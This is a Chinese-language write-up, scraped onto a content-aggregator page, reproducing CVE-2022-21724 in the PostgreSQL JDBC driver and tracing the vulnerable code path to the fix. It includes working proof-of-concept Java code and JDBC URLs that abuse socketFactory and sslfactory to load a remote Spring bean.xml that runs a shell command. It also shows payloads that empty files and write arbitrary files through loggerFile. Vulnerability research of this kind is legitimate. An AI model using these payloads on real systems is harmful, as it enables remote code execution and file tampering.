范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文

任意代码执行漏洞复现

  漏洞简介
  在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时,使用 PostgreSQL 数据库的系统将受到攻击。 pgjdbc 根据通过  authenticationPluginClassName  、sslhostnameverifier  、socketFactory   、sslfactory  、sslpasswordcallback   连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。
  影响范围:   9.4.1208 <=PgJDBC <42.2.25    42.3.0 <=PgJDBC < 42.3.2 漏洞复现
  创建 maven 项目,添加依赖       org.postgresql     postgresql     42.3.1        org.springframework     spring-context-support     5.3.23 
  编写测试代码 import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException;  public class cve202221724 {     public static void main(String[] args) throws SQLException {         String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";         String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";         String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;         Connection connection = DriverManager.getConnection(jdbcUrl);     } }
  bean.xml                                       bash             -c             calc.exe                          
  【一一帮助安全学习,所有资料关注我,私信回复"资料"获取一一】
  ①网络安全学习路线
  ②20份渗透测试电子书
  ③安全攻防357页笔记
  ④50份安全攻防面试指南
  ⑤安全红队渗透工具包
  ⑥网络安全必备书籍
  ⑦100个漏洞实战案例
  ⑧安全大厂内部教程漏洞分析
  任意代码执行 socketFactory/socketFactoryArg
  先将调试后的流程大概画出
  java.sql.DriverManager#getConnection(java.lang.String)
  java.sql.DriverManager#getConnection(java.lang.String, java.util.Properties, java.lang.Class<?>)
  利用  org.postgresql.Driver   的 jdbc 驱动去连接数据库
  org.postgresql.Driver#connect
  调用 makeConnection 去连接数据库
  org.postgresql.Driver#makeConnection
  org.postgresql.jdbc.PgConnection#PgConnection
  org.postgresql.core.ConnectionFactory#openConnection
  org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
  org.postgresql.core.SocketFactoryFactory#getSocketFactory
  PGProperty 是枚举类型 其中的 get 方法是判断枚举项的值有没有传入的 properties,如果存在就查找返回,没有就返回默认值
  SOCKET_FACTORY(       "socketFactory",       null,       "Specify a socket factory for socket creation"),   SOCKET_FACTORY_ARG(       "socketFactoryArg",       null,       "Argument forwarded to constructor of SocketFactory class."),
  org.postgresql.util.ObjectFactory#instantiate
  通过 newInstance 来实现对 ctor 类 的创建,同时 args 作为参数。构造方法中有且只有一个 String 参数的类就可以满足条件。 org.apache.commons.jxpath.functions.ConstructorFunction org.apache.commons.jxpath.functions.MethodFunction java.io.FileOutputStream
  通过利用 CVE-2017-17485 实现 Spring spel 执行任意命令 或者利用 FileOutputStream 将任意文件置空( jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=java.io.FileOutputStream&socketFactoryArg=test.txt  )任意代码执行 sslfactory/sslfactoryarg
  (https://xzfile.aliyuncs.com/media/upload/picture/20221107161250-f8d81774-5e73-1.gif)
  :85, ClassPathXmlApplicationContext (org.springframework.context.support) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:423, Constructor (java.lang.reflect) instantiate:62, ObjectFactory (org.postgresql.util) getSslSocketFactory:64, SocketFactoryFactory (org.postgresql.core) convert:34, MakeSSL (org.postgresql.ssl) enableSSL:546, ConnectionFactoryImpl (org.postgresql.core.v3) tryConnect:151, ConnectionFactoryImpl (org.postgresql.core.v3) openConnectionImpl:215, ConnectionFactoryImpl (org.postgresql.core.v3) openConnection:51, ConnectionFactory (org.postgresql.core) :225, PgConnection (org.postgresql.jdbc) makeConnection:466, Driver (org.postgresql) connect:265, Driver (org.postgresql) getConnection:664, DriverManager (java.sql) getConnection:270, DriverManager (java.sql) main:17, cve202221724
  org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
  尝试与数据库进行连接
  org.postgresql.core.v3.ConnectionFactoryImpl#tryConnect
  建立连接后收到请求以  S   开头,进入 org.postgresql.ssl.MakeSSL#convert
  org.postgresql.core.v3.ConnectionFactoryImpl#enableSSL
  org.postgresql.ssl.MakeSSL#convert
  org.postgresql.core.SocketFactoryFactory#getSslSocketFactory
  任意文件写入 loggerLevel/loggerFile
  import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException;  public class cve202221724 {     public static void main(String[] args) throws SQLException {         String loggerLevel = "debug";         String loggerFile = "test.txt";         String shellContent="test";         String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;         Connection connection = DriverManager.getConnection(jdbcUrl);     } }
  org.postgresql.Driver#connect
  org.postgresql.Driver#setupLoggerFromProperties
  通过 设置扩展参数  LOGGER_FILE   指定日志文件保存位置,没有进行校验,所以可以跨目录的保存文件
  生成临时文件,之后将日志信息保存到文件中
  org.postgresql.Driver#connect
  先通过 setupLoggerFromProperties 设定相关的参数 然后再利用  LOGGER.log   保存文件
  漏洞修复
  针对代码执行的漏洞而言,要求获取的类名必须是指定类的子类,否则就抛出异常
  对于任意文件写入而言,高版本中移除了对日志文件的设定操作  setupLoggerFromProperties(props);

小行星撞击地球,人类如何摆脱文明终结?地球启动行星防御计划小行星撞击地球6500万年前一颗直径10公里左右的小行星坠落在如今的墨西哥尤卡坦半岛,统治地球数亿年的恐龙从此走向了灭绝。那次撞击爆炸产生的能量约为100万亿吨当量,而如今人类创造太阳系外新发现千颗潜在行星有望找到候选地球据美国国家地理网站报道,根据一项最新研究结果,科学家们在太阳系外新发现了超过1000颗潜在系外行星候选体,使由美国宇航局开普勒空间望远镜发现的此类星体数量几乎翻番。此次增加的100他曾任北京军区司令员,62岁晋升上将军衔,国庆50周年阅兵总指挥对越自卫反击战期间,解放军涌现出了一大批优秀的将领。他们冒着风险,将指挥部设置在一线,指挥战士们奋勇对抗越军,挫败其北进的阴谋,牢牢守住了我们边境国土,立下了不世之功,其中令人称道小米MIXFold2评测8999元起步,最轻薄的折叠屏手机想到小米MIXFold第一代,大家肯定觉得很失望,除了性价比比较高之外,几乎没有任何亮点,修长的机身设计加上折痕让很多人无法接受,而这一次小米带来了MIXFold2,它的售价为899月5日华为和苹果发布会召开在即,消费电子开启修复行情消息面9月5日上午,华为手机官微发布消息称,华为Mate50系列及全场景新品秋季发布会将于9月6日下午召开。苹果日前宣布,秋季新品发布会将于北京时间9月8日凌晨召开。机构解读多家券华为Mate50Pro跑分曝光,芯片基本没悬念了?华为Mate50系列会搭载什么芯片,依然是一个充满争议的问题。传闻中的麒麟9000S肯定是指望不上了,供应无法保证,可能性约等于为零。骁龙84G是流传最广的说法,但是它的CPU能效原子的核心,出现了意想不到的配对不同以往的实验结果原子核位于原子的最核心,它由质子和中子构成。质子和中子统称为核子,它们会经常配对。当配对发生时,核子会短暂地碰撞,接着它们会以高动量短暂地分离,随后又像被拉伸的橡小米推出米家LED射灯蓝牙Mesh版,售价99元9月6日消息,在今日,小米官方推出了全新的米家LED射灯蓝牙Mesh版,根据小米官方信息显示,其首发价为99元。据了解,米家LED射灯蓝牙Mesh版可支持通过蓝牙Mesh网关进行链天凉了,多吃这道炖菜,营养高易消化,鲜美好吃不油腻,太香了莫愁厨路无知己,谁人不识小面姨。大家好,我是小面姨。今天小面姨给大家分享一道炖菜的做法。俗话说一场秋雨一场寒,最近这几天,随着前几天刚刚下完的一场秋雨结束,这几天我们这里的气温明显我家经常吃这几道菜,超级好吃又下饭蒜蓉黄油虾做法1去头去壳开背去虾线2一勺辣椒粉两勺蒜末一勺料酒黑胡椒粉,抓匀腌制10分钟3锅里放入黄油至融化,倒入虾煎至双面变色4加入蒜末干辣椒,一勺料酒半勺糖,翻炒均匀,出锅前撒高颜值的几道家常菜,荤素搭配,解馋下饭青椒油豆腐食材油豆腐1盘,青椒3个,葱姜蒜适量,生抽1小勺,蚝油1小勺,糖少许,盐适量,水淀粉适量。做法1葱姜蒜备好,青椒切滚刀块,1小勺生抽1小勺蚝油少许糖2勺水调成调味汁备用。
4月开始,电价或有大调整,你是否准备好了?在阅读此文前,诚邀您点击一下关注,既方便您进行讨论与分享,又给您带来不一样的参与感,感谢您的支持。文须臾编辑雅俗共赏在百姓的日常生活支出中,交电费是非常重要的一个环节。毕竟谁家过日和谕基金汽车智能座舱将为ChatGPT提供很好的应用场景中证网讯(记者王辉)近期ChatGPT以其高效信息获取海量数据调用超强优化学习能力火速出圈。而在智能驾驶行业赛道,创投机构二级市场私募机构对相关投资机会的关注和挖掘,也在进一步升温生态环境部收紧碳配额方案新增借碳政策或豁免配额4000万吨3月16日,生态环境部发布关于做好20212022年度全国碳排放权交易配额分配相关工作的通知(以下简称通知)。此外,为加快推进全国碳排放权交易市场建设,生态环境部编制了202120中化学交建集团党委召开2023年党建工作会议暨党风廉政建设和反腐败工作会议一季度警示教育大会近日,中化学交建集团党委召开2023年党建工作会议暨党风廉政建设和反腐败工作会议一季度警示教育大会。党委书记董事长苏中友出席会议并讲话,党委副书记总经理沈周主持会议并传达集团公司有全网声讨央媒28万大学生做骆驼祥子,他们看见了吗?太过分孔乙己和骆驼祥子大概也没有想到100多年后他们还能上热搜!前几日,央媒网谈了孔乙己文学,却引来了无数网友的愤怒,这是怎么回事呢?学历的价值,只有在创造性的实践活动中,充分发掘自身潜为什么儿童学东西这么快?美国趣味科学网站2月27日刊登题为为什么儿童学东西这么快?的文章,作者是乔费伦。内容编译如下今天,他们还在蹒跚学步明天,他们就在大厅里跑来跑去了。或者,他们的咿咿呀呀似乎一夜之间变4月5日清明节,老人说今年清明不一般,不能上坟祭祖,真的吗4月15日清明节,老人说今年清明不一般,不能上坟祭祖,是真的吗?2023年过的真快,随着时间的推移,农历的二月已经过去,而现在也正式进入了闰二月。关于闰二月,在民间里流传很多的习俗触角沙龙金羽新能杨扬电池行业的发展在于科技为本本报记者陈燕南北京报道降价潮是汽车行业所必须经历的变革时期。于我而言,我认为整个电池行业的发展离不开能量密度安全性以及成本。事实上,无论价格如何浮动,其本质都是这三者之间的博弈和平去世8年的姚贝娜,以另一种方式重生了在阅读此文之前,麻烦您点击一下关注,既方便您讨论和分享,又能给您带来不一样的参与感,感谢您的支持。(姚贝娜粉丝制作的AI偶像)文约翰实验室编辑约翰实验室前言回想起2015年1月16深化改革激发活力推动经济高质量发展中国工业报记者马艳惟改革者进,惟开放者强。在全国政协十四届一次会议新闻发布会上,大会新闻发言人郭卫民表示,今年是改革开放45周年。45年前,中国实行改革开放,不仅极大改变了中国的面一名军士教员带出32名冠军学员火箭军工程大学军士教员丁涛在军事训练课上为学员做示范讲解。罗显廷摄在火箭军工程大学,一张冠军学员名单,见证了军士教员丁涛的荣光2019年,在谁是枪王全军院校射击邀请赛中,学员叶昊钟